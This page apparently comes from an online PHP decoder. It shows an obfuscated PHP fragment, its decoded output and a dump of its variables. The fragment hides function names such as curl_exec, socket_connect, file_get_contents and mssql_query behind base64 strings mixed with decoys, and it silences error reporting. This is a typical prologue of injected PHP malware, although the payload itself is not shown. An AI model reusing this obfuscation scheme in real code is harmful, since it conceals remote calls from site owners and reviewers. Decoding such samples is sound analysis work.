Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$GLOBALS['_hj_']=Array(base64_decode('c3Rycmlwb3M='),base64_decode('aW1hZ2VmaWx0ZXI='),bas..

Decoded Output download

<?  $GLOBALS['_hj_']=Array(base64_decode('c3Rycmlwb3M='),base64_decode('aW1hZ2VmaWx0ZXI='),base64_decode('aW5pX2dldA=='),base64_decode('ZnVuY3Rpb25fZXhpc3Rz')); 
$GLOBALS['_hjg_'] 
=Array(base64_decode('ZXhw' .'bG9kZQ=='),base64_decode('YXJyYXlfcmV2ZXJzZQ=='),base64_decode('YXJyYXlfZmxpcA=='),base64_decode('Y291bnQ='),base64_decode('ZmlsZQ=='),base64_decode( 
'aW1hZ2Vjb3B5bWVyZ2U='),base64_decode('c29ja2V0X2Nsb3Nl'),base64_decode('ZmRmX3NldF92ZXJzaW9u'));$GLOBALS['_hb_']=Array(base64_decode('c3RycG9z'),base64_decode('YXBhY2hlX2dldF92ZXJzaW9u'), 
base64_decode('Y3JjMzI='),base64_decode('YXJyYXlfc3Vt'),base64_decode('Y29zaA=='),base64_decode('bmwyYnI='),base64_decode('c3RycG9z'),base64_decode('cHJpbnRfcg=='), 
base64_decode('cHJldg=='),base64_decode('bXRfcmFuZA=='),base64_decode('c29ja2V0X2dldF9zdGF0dXM='),base64_decode('YXJyYXlfaW50ZXJzZWN0'),base64_decode('c29ja2V0X2Nvbm5lY3Q='), 
base64_decode('bXRfcmFuZA=='),base64_decode('c3RybmNhc2VjbXA='),base64_decode('c2Vzc2lvbl9pZA=='));$GLOBALS['_hq_']=Array(base64_decode('ZmlsZWN0aW1l'),base64_decode('bXRfcmFuZA=='), 
base64_decode('bXRfcmFuZA=='),base64_decode('YWNvcw=='),base64_decode('bXRfcmFuZA=='),base64_decode('aXNfYXJyYXk='),base64_decode('cHJlZ19yZXBsYWNl'),base64_decode('cHJlZ19tYXRjaA=='), 
base64_decode('YXJyYXlfZmlsdGVy'),base64_decode('YXJyYXlfZGlmZl9rZXk='),base64_decode('YXJyYXlfcmV2ZXJzZQ=='),base64_decode('bXRfcmFuZA=='),base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 
base64_decode('ZmlsZWN0aW1l'),base64_decode('bXRfcmFuZA=='),base64_decode('bXNzcWxfcXVlcnk='),base64_decode('c3RycG9z'),base64_decode('c2hhMQ=='),base64_decode('c3RyX3JlcGxhY2U='), 
base64_decode('aW1hZ2Vjb3B5'),base64_decode('bXRfcmFuZA=='),base64_decode('Y291bnQ='),base64_decode('c3RyX3JlcGxhY2U='),base64_decode('YXJyYXlfcHVzaA=='),base64_decode('bXRfcmFuZA=='), 
base64_decode('c3RydmFs'),base64_decode('YXJyYXlfcmFuZA=='),base64_decode('c3RyX3JlcGxhY2U='),base64_decode('c3RycG9z'),base64_decode('dXJsZW5jb2Rl'),base64_decode('YWJz'), 
base64_decode('c3RyX3JlcGxhY2U='),base64_decode('c3RydHI='),base64_decode('dWNmaXJzdA=='),base64_decode('c3RyX3JlcGxhY2U='),base64_decode('YXJyYXlfZmlsbF9rZXlz'), 
base64_decode('dHJpbQ=='),base64_decode('ZXJlZ2k='),base64_decode('ZXJlZ2k='),base64_decode('ZXJlZ2k='),base64_decode('c3RybGVu'),base64_decode('c3RyaXN0cg==')); 
 
$GLOBALS['_cbh_']=Array(base64_decode('ZXJyb3JfcmVwb3J0aW5n'),base64_decode('c3RycG9z'),base64_decode('c3Ryc3Ry'),base64_decode('bXRfcmFuZA=='),base64_decode('c3Vic3RyX2NvbXBhcmU='), 
base64_decode('c3RycG9z'),base64_decode('aW1hZ2VkZXN0cm95'),base64_decode('ZmlsZV9leGlzdHM='),base64_decode('YXBhY2hlX2dldF92ZXJzaW9u'),base64_decode('c3RycG9z'),base64_decode('aW1hZ2VjcmVhdGU='), 
base64_decode('Y29weQ=='),base64_decode('YXJyYXlfaW50ZXJzZWN0'),base64_decode('c29ja2V0X2dldHBlZXJuYW1l'),base64_decode('Y3VybF9tdWx0aV9leGVj'),base64_decode('ZXh0ZW5zaW9uX2xvYWRlZA=='), 
base64_decode('YmFzZTY0X2RlY29kZQ=='),base64_decode('YmFzZTY0X2RlY29kZQ=='),base64_decode('Y3VybF9pbml0'),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('ZmdldGM='), 
base64_decode('YXJyYXlfc3Vt'),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('c2Vzc2lvbl9uYW1l'),base64_decode('bXRfcmFuZA=='),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('Y3VybF9leGVj'), 
base64_decode('YmFzZTY0X2RlY29kZQ=='),base64_decode('YmFzZTY0X2RlY29kZQ=='),base64_decode('c3RydG90aW1l'),base64_decode('bXRfcmFuZA=='),base64_decode('ZmlsZV9nZXRfY29udGVudHM='), 
base64_decode('c3RycG9z'),base64_decode('c3RybmF0Y21w'),base64_decode('bXNzcWxfcXVlcnk='),base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2Q=')); 
@$GLOBALS['_cbh_'][0](0); ?>

Did this file decode correctly?

Original Code

$GLOBALS['_hj_']=Array(base64_decode('c3Rycmlwb3M='),base64_decode('aW1hZ2VmaWx0ZXI='),base64_decode('aW5pX2dldA=='),base64_decode('ZnVuY3Rpb25fZXhpc3Rz'));
$GLOBALS['_hjg_']
=Array(base64_decode('ZXhw' .'bG9kZQ=='),base64_decode('YXJyYXlfcmV2ZXJzZQ=='),base64_decode('YXJyYXlfZmxpcA=='),base64_decode('Y291bnQ='),base64_decode('ZmlsZQ=='),base64_decode(
'aW1hZ2Vjb3B5bWVyZ2U='),base64_decode('c29ja2V0X2Nsb3Nl'),base64_decode('ZmRmX3NldF92ZXJzaW9u'));$GLOBALS['_hb_']=Array(base64_decode('c3RycG9z'),base64_decode('YXBhY2hlX2dldF92ZXJzaW9u'),
base64_decode('Y3JjMzI='),base64_decode('YXJyYXlfc3Vt'),base64_decode('Y29zaA=='),base64_decode('bmwyYnI='),base64_decode('c3RycG9z'),base64_decode('cHJpbnRfcg=='),
base64_decode('cHJldg=='),base64_decode('bXRfcmFuZA=='),base64_decode('c29ja2V0X2dldF9zdGF0dXM='),base64_decode('YXJyYXlfaW50ZXJzZWN0'),base64_decode('c29ja2V0X2Nvbm5lY3Q='),
base64_decode('bXRfcmFuZA=='),base64_decode('c3RybmNhc2VjbXA='),base64_decode('c2Vzc2lvbl9pZA=='));$GLOBALS['_hq_']=Array(base64_decode('ZmlsZWN0aW1l'),base64_decode('bXRfcmFuZA=='),
base64_decode('bXRfcmFuZA=='),base64_decode('YWNvcw=='),base64_decode('bXRfcmFuZA=='),base64_decode('aXNfYXJyYXk='),base64_decode('cHJlZ19yZXBsYWNl'),base64_decode('cHJlZ19tYXRjaA=='),
base64_decode('YXJyYXlfZmlsdGVy'),base64_decode('YXJyYXlfZGlmZl9rZXk='),base64_decode('YXJyYXlfcmV2ZXJzZQ=='),base64_decode('bXRfcmFuZA=='),base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
base64_decode('ZmlsZWN0aW1l'),base64_decode('bXRfcmFuZA=='),base64_decode('bXNzcWxfcXVlcnk='),base64_decode('c3RycG9z'),base64_decode('c2hhMQ=='),base64_decode('c3RyX3JlcGxhY2U='),
base64_decode('aW1hZ2Vjb3B5'),base64_decode('bXRfcmFuZA=='),base64_decode('Y291bnQ='),base64_decode('c3RyX3JlcGxhY2U='),base64_decode('YXJyYXlfcHVzaA=='),base64_decode('bXRfcmFuZA=='),
base64_decode('c3RydmFs'),base64_decode('YXJyYXlfcmFuZA=='),base64_decode('c3RyX3JlcGxhY2U='),base64_decode('c3RycG9z'),base64_decode('dXJsZW5jb2Rl'),base64_decode('YWJz'),
base64_decode('c3RyX3JlcGxhY2U='),base64_decode('c3RydHI='),base64_decode('dWNmaXJzdA=='),base64_decode('c3RyX3JlcGxhY2U='),base64_decode('YXJyYXlfZmlsbF9rZXlz'),
base64_decode('dHJpbQ=='),base64_decode('ZXJlZ2k='),base64_decode('ZXJlZ2k='),base64_decode('ZXJlZ2k='),base64_decode('c3RybGVu'),base64_decode('c3RyaXN0cg=='));

$GLOBALS['_cbh_']=Array(base64_decode('ZXJyb3JfcmVwb3J0aW5n'),base64_decode('c3RycG9z'),base64_decode('c3Ryc3Ry'),base64_decode('bXRfcmFuZA=='),base64_decode('c3Vic3RyX2NvbXBhcmU='),
base64_decode('c3RycG9z'),base64_decode('aW1hZ2VkZXN0cm95'),base64_decode('ZmlsZV9leGlzdHM='),base64_decode('YXBhY2hlX2dldF92ZXJzaW9u'),base64_decode('c3RycG9z'),base64_decode('aW1hZ2VjcmVhdGU='),
base64_decode('Y29weQ=='),base64_decode('YXJyYXlfaW50ZXJzZWN0'),base64_decode('c29ja2V0X2dldHBlZXJuYW1l'),base64_decode('Y3VybF9tdWx0aV9leGVj'),base64_decode('ZXh0ZW5zaW9uX2xvYWRlZA=='),
base64_decode('YmFzZTY0X2RlY29kZQ=='),base64_decode('YmFzZTY0X2RlY29kZQ=='),base64_decode('Y3VybF9pbml0'),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('ZmdldGM='),
base64_decode('YXJyYXlfc3Vt'),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('c2Vzc2lvbl9uYW1l'),base64_decode('bXRfcmFuZA=='),base64_decode('Y3VybF9zZXRvcHQ='),base64_decode('Y3VybF9leGVj'),
base64_decode('YmFzZTY0X2RlY29kZQ=='),base64_decode('YmFzZTY0X2RlY29kZQ=='),base64_decode('c3RydG90aW1l'),base64_decode('bXRfcmFuZA=='),base64_decode('ZmlsZV9nZXRfY29udGVudHM='),
base64_decode('c3RycG9z'),base64_decode('c3RybmF0Y21w'),base64_decode('bXNzcWxfcXVlcnk='),base64_decode('aW1hZ2VjcmVhdGVmcm9tZ2Q='));
@$GLOBALS['_cbh_'][0](0);

Function Calls

base64_decode 212

Variables

$_hb_ [{'key': 0, 'value': 'strpos'}, {'key': 1, 'value': 'apache_get_version'}, {'key': 2, 'value': 'crc32'}, {'key': 3, 'value': 'array_sum'}, {'key': 4, 'value': 'cosh'}, {'key': 5, 'value': 'nl2br'}, {'key': 6, 'value': 'strpos'}, {'key': 7, 'value': 'print_r'}, {'key': 8, 'value': 'prev'}, {'key': 9, 'value': 'mt_rand'}, {'key': 10, 'value': 'socket_get_status'}, {'key': 11, 'value': 'array_intersect'}, {'key': 12, 'value': 'socket_connect'}, {'key': 13, 'value': 'mt_rand'}, {'key': 14, 'value': 'strncasecmp'}, {'key': 15, 'value': 'session_id'}]
$_hj_ [{'key': 0, 'value': 'strripos'}, {'key': 1, 'value': 'imagefilter'}, {'key': 2, 'value': 'ini_get'}, {'key': 3, 'value': 'function_exists'}]
$_hq_ [{'key': 0, 'value': 'filectime'}, {'key': 1, 'value': 'mt_rand'}, {'key': 2, 'value': 'mt_rand'}, {'key': 3, 'value': 'acos'}, {'key': 4, 'value': 'mt_rand'}, {'key': 5, 'value': 'is_array'}, {'key': 6, 'value': 'preg_replace'}, {'key': 7, 'value': 'preg_match'}, {'key': 8, 'value': 'array_filter'}, {'key': 9, 'value': 'array_diff_key'}, {'key': 10, 'value': 'array_reverse'}, {'key': 11, 'value': 'mt_rand'}, {'key': 12, 'value': 'file_get_contents'}, {'key': 13, 'value': 'filectime'}, {'key': 14, 'value': 'mt_rand'}, {'key': 15, 'value': 'mssql_query'}, {'key': 16, 'value': 'strpos'}, {'key': 17, 'value': 'sha1'}, {'key': 18, 'value': 'str_replace'}, {'key': 19, 'value': 'imagecopy'}, {'key': 20, 'value': 'mt_rand'}, {'key': 21, 'value': 'count'}, {'key': 22, 'value': 'str_replace'}, {'key': 23, 'value': 'array_push'}, {'key': 24, 'value': 'mt_rand'}, {'key': 25, 'value': 'strval'}, {'key': 26, 'value': 'array_rand'}, {'key': 27, 'value': 'str_replace'}, {'key': 28, 'value': 'strpos'}, {'key': 29, 'value': 'urlencode'}, {'key': 30, 'value': 'abs'}, {'key': 31, 'value': 'str_replace'}, {'key': 32, 'value': 'strtr'}, {'key': 33, 'value': 'ucfirst'}, {'key': 34, 'value': 'str_replace'}, {'key': 35, 'value': 'array_fill_keys'}, {'key': 36, 'value': 'trim'}, {'key': 37, 'value': 'eregi'}, {'key': 38, 'value': 'eregi'}, {'key': 39, 'value': 'eregi'}, {'key': 40, 'value': 'strlen'}, {'key': 41, 'value': 'stristr'}]
$_cbh_ [{'key': 0, 'value': 'error_reporting'}, {'key': 1, 'value': 'strpos'}, {'key': 2, 'value': 'strstr'}, {'key': 3, 'value': 'mt_rand'}, {'key': 4, 'value': 'substr_compare'}, {'key': 5, 'value': 'strpos'}, {'key': 6, 'value': 'imagedestroy'}, {'key': 7, 'value': 'file_exists'}, {'key': 8, 'value': 'apache_get_version'}, {'key': 9, 'value': 'strpos'}, {'key': 10, 'value': 'imagecreate'}, {'key': 11, 'value': 'copy'}, {'key': 12, 'value': 'array_intersect'}, {'key': 13, 'value': 'socket_getpeername'}, {'key': 14, 'value': 'curl_multi_exec'}, {'key': 15, 'value': 'extension_loaded'}, {'key': 16, 'value': 'base64_decode'}, {'key': 17, 'value': 'base64_decode'}, {'key': 18, 'value': 'curl_init'}, {'key': 19, 'value': 'curl_setopt'}, {'key': 20, 'value': 'fgetc'}, {'key': 21, 'value': 'array_sum'}, {'key': 22, 'value': 'curl_setopt'}, {'key': 23, 'value': 'session_name'}, {'key': 24, 'value': 'mt_rand'}, {'key': 25, 'value': 'curl_setopt'}, {'key': 26, 'value': 'curl_exec'}, {'key': 27, 'value': 'base64_decode'}, {'key': 28, 'value': 'base64_decode'}, {'key': 29, 'value': 'strtotime'}, {'key': 30, 'value': 'mt_rand'}, {'key': 31, 'value': 'file_get_contents'}, {'key': 32, 'value': 'strpos'}, {'key': 33, 'value': 'strnatcmp'}, {'key': 34, 'value': 'mssql_query'}, {'key': 35, 'value': 'imagecreatefromgd'}]
$_hjg_ [{'key': 0, 'value': 'explode'}, {'key': 1, 'value': 'array_reverse'}, {'key': 2, 'value': 'array_flip'}, {'key': 3, 'value': 'count'}, {'key': 4, 'value': 'file'}, {'key': 5, 'value': 'imagecopymerge'}, {'key': 6, 'value': 'socket_close'}, {'key': 7, 'value': 'fdf_set_version'}]

Stats

MD5 953bf940c3bbee3dcbba8496405440b6
Eval Count 0
Decode Time 263 ms